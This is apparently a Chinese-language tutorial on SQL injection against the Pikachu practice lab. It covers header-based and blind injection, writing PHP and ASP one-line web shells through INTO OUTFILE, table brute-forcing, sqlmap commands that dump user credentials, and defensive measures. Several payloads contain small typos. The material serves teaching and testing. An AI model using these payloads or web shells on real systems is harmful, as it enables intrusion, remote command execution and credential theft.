HTTP header注入
有些時候,背景開發人員為了驗證用戶端頭資訊(比如常用的 cookie驗證)
或者通過httpheader頭資訊擷取用戶端的一些資訊,比如useragent,accept字段等等。會對用戶端的httpheader資訊進行擷取并使用SQL進行處理,如果此時沒有足夠的安全考慮,則可能會導緻基于httpheader的SQLInject漏洞。
使用burpsuite抓取前後段互動的HTTP請求,修改頭資訊

修改user agent
修改cookies
test payload
基于HTTPHeader
Cookie: ant[uname]=admin' and updatexml (1, concat(0x7e, database ()),0)#
firefox or updatexml(1,concat(0x7e, database ()),0) or
盲注
什麼是盲注
在有些情況下,背景使用了錯誤消息屏蔽方法(比如@)屏蔽了報錯
此時無法在根據報錯資訊來進行注入的判斷。
這種情況下的注入,稱為“盲注“
根據表現形式的不同,盲注又分為 based boolean和 based timei兩種類型
基于boolean的盲注測試
基于 boolean的盲注主要表現症狀
0.沒有報錯資訊
1.不管是正确的輸入,還是錯誤的輸入,都隻顯示兩種情況(我們可以認為是0或者1)
2.在正确的輸入下,輸入and1=1/and1=2發現可以判斷
test payload
kobe' and len(database())=7#
#如果前端傳回結果,說明database()字元串的長度為7,不傳回資訊的話,說明不是7,可以用二分法試探
kobe' and ascii(substr(database()), 1, 1))=112#
#如果前端傳回結果,說明database()第一個字母的ascii碼為112,不傳回資訊的話,說明不是,可以用二分法試探
通常編寫腳本或者使用sqlmap進行盲注測試
基于time的盲注測試
如果說基于 boolean的盲注在頁面上還可以看到0 or 1的回顯的話
那麼基于time的盲注完全就啥都看不到了
但還有一個條件,就是“時間”,通過特定的輸入,判斷背景執行的時間,進而确認注入
常用的 Test Payload
kobe and sleep(5)
看看輸入:kobe'和輸入kobe' and sleep(5)#的差別,進而判斷這裡存在 based time的sqL注入漏洞
利用Firefox的開發者工具中的network可以檢視響應時間,如果目前頁面在5秒後傳回,說明執行了sleep(5),存在基于時間的盲注漏洞
基于時間的延遲
kobe' and if((substr(database(),1, 1))='p', sleep(5), null)#
#若頁面在5秒後傳回,說明database()的第一個字母為p,否則不是
利用sql注入漏洞進行遠端控制
一句話木馬
一句話木馬是一種短小而精悍的木馬用戶端,隐蔽性好,且功能強大。
PHP: <?php @eval(S_POST['chopper']) ?>
ASP: <%eval request("chopper")%>
ASP.NET: <% Page Language="Jscript"%><%eval(Request.Item["chopper"],"unsafe"); %>
如何通過into outfile寫入惡意代碼并控制os
select 1, 2 into outfile "/var/www/html/1.txt"
into outfile将 select的結果寫入到指定目錄的1txt中
在一些沒有回顯的注入中可以使用 into outfile将結果寫入到指定檔案,然後通路擷取
前提條件
1.需要知道遠端目錄
2.需要遠端目錄有寫權限
3.需要資料庫開啟了 secure_ file_ priv
檢視secure_file_priv配置
需要在mysql的配置檔案/etc/my.cnf中增加secure_file_priv為空
擷取作業系統權限
kobe' union select " <?php @eval($_GET['test'])?>",2 into outfile "/var/www/html/1.php"#
使用方法 http://[target_ip]:[target_port]/1.php?test=[php指令],如http://192.168.1.5/1.php?test=phpinfo()
kobe' union select " <?php @system($_GET['cmd'])?>",2 into outfile "/var/www/html/2.php"#
使用方法 http://[target_ip]:[target_port]/2.php?cmd=[系統指令],如http://192.168.1.5/2.php?test=whoami
一句話木馬可以結合菜刀或者蟻劍等工具來使用,達到遠控的目的
可參考中國菜刀簡介及使用AntSword文檔
表名或清單的暴力破解
當information_schema不能通路時
暴力破解表名和列名稱:
kobe' and exists(select * from aa)#
kobe' and exists(select id from users)#
可以使用burpsuite的intruder子產品加載字典進行爆破
SQL Inject注入漏洞的防範
代碼層面
1.對輸入進行嚴格的轉義和過濾
轉義加過濾
2.使用預處理和參數化( Parameterized)
可以避免使用者的輸入直接拼接成sql語句
使用PDO
可參考 PDO場景下的SQL注入探究 PDO防sql注入原理分析
網路層面
1.通過wAF裝置啟用防sql注入政策(或類似防護系統)
部署位置
2.雲端防護(360網站衛士,阿裡雲盾等)
對于在雲端部署的伺服器可以采用廠商提供的防護産品
雲防護
sqlmap的使用
sqlmap是一個強大的自動化sql注入工具,可以替代手工完成許多任務
在sqlmap的官網(http://sqlmap.org/)下載下傳
sqlmap的經典用法
第一步
u"xx" -cookie="yy"
//帶上 cookie對URL進行注入探測
第二步
u"xx" -cookie="yy" -current-db
//對資料庫名進行擷取
第三步
u"xx" -cookie="yy" -D pikachu --tables
//對資料庫的表名進行枚舉
第四步
u"xx" -cookie="yy" -D pikachu -T users -columns
//對dvwa庫裡面的名為 users表的列名進行枚舉
第五步
u"xx" -cookie="yy" -D pikachu -T users -C username,password --dump
//提取pikachu.users中的指定的字段
可參考SQLMap 從入門到入獄詳細指南超詳細SQLMap使用攻略及技巧分享